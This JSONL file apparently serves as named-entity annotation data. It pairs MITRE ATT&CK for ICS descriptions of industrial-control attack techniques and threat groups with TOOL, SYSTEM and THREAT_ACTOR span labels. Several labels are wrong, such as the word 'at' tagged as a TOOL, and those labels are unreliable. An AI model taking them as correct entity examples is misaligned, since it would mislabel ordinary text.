{"text": "Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function.  Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further Execution and Persistence techniques.  \n\nAdversaries may export their own code into project files with conditions to execute at specific intervals.  Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.", "spans": {"TOOL: at": [[533, 535]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0873"}}
{"text": "Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as Netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network  . The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0840"}}
{"text": "Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation.  Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. \n\nIn control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.", "spans": {"SYSTEM: SMB": [[342, 345], [426, 429]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0867"}}
{"text": "Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment.   \n\nThis technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices.   \n\nAn easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following:   \n\n* Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time.  \n* Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return.  \n* Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator.   \n* A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise.  \n* Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.", "spans": {"TOOL: at": [[990, 992]], "TOOL: route": [[1748, 1753]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0839"}}
{"text": "Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique.\n\nAdversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.  These services may be discoverable through the use of online scanning tools. \n\nIn the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.   \n\nIn Trend Micros manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.", "spans": {"SYSTEM: Access": [[370, 376], [876, 882]], "TOOL: VNC": [[1258, 1261]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0883"}}
{"text": "Adversaries may target and collect data from local system sources, such as file systems, configuration files, or local databases. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes.\n\nAdversaries may do this using Command-Line Interface or Scripting techniques to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0893"}}
{"text": "Adversaries may modify software and device credentials to prevent operator and responder access. Depending on the device, the modification or addition of this password could prevent any device configuration actions from being accomplished and may require a factory reset or replacement of hardware. These credentials are often built-in features provided by the device vendors as a means to restrict access to management interfaces.\n\nAn adversary with access to valid or hardcoded credentials could change the credential to prevent future authorized device access. Change Credential may be especially damaging when paired with other techniques such as Modify Program, Data Destruction, or Modify Controller Tasking. In these cases, a device’s configuration may be destroyed or include malicious actions for the process environment, which cannot not be removed through normal device configuration actions. \n\nAdditionally, recovery of the device and original configuration may be difficult depending on the features provided by the device. In some cases, these passwords cannot be removed onsite and may require that the device be sent back to the vendor for additional recovery steps.\n\n\nA chain of incidents occurred in Germany, where adversaries locked operators out of their building automation system (BAS) controllers by enabling a previously unset BCU key.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0892"}}
{"text": "Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. \n\nProgram modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU)   and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. \n\nSome programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.", "spans": {"SYSTEM: API": [[765, 768]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0889"}}
{"text": "ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly, although ALLANITEs technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.", "spans": {"THREAT_ACTOR: ALLANITE": [[0, 8]], "THREAT_ACTOR: Dragonfly": [[217, 226]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1000"}}
{"text": "The CyberAv3ngers are a suspected Iranian Government Islamic Revolutionary Guard Corps (IRGC)-affiliated APT group. The CyberAv3ngers have been known to be active since at least 2020, with disputed and false claims of critical infrastructure compromises in Israel.\n\nIn 2023, the CyberAv3ngers engaged in a global targeting and hacking of the Unitronics Programmable Logic Controller (PLC) with Human-Machine Interface (HMI). This PLC can be found in multiple sectors, including water and wastewater, energy, food and beverage manufacturing, and healthcare. The most notable feature of this attack was the defacement of the devices user interface.", "spans": {"THREAT_ACTOR: CyberAv3ngers": [[4, 17], [120, 133], [279, 292]], "TOOL: at": [[169, 171]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1027"}}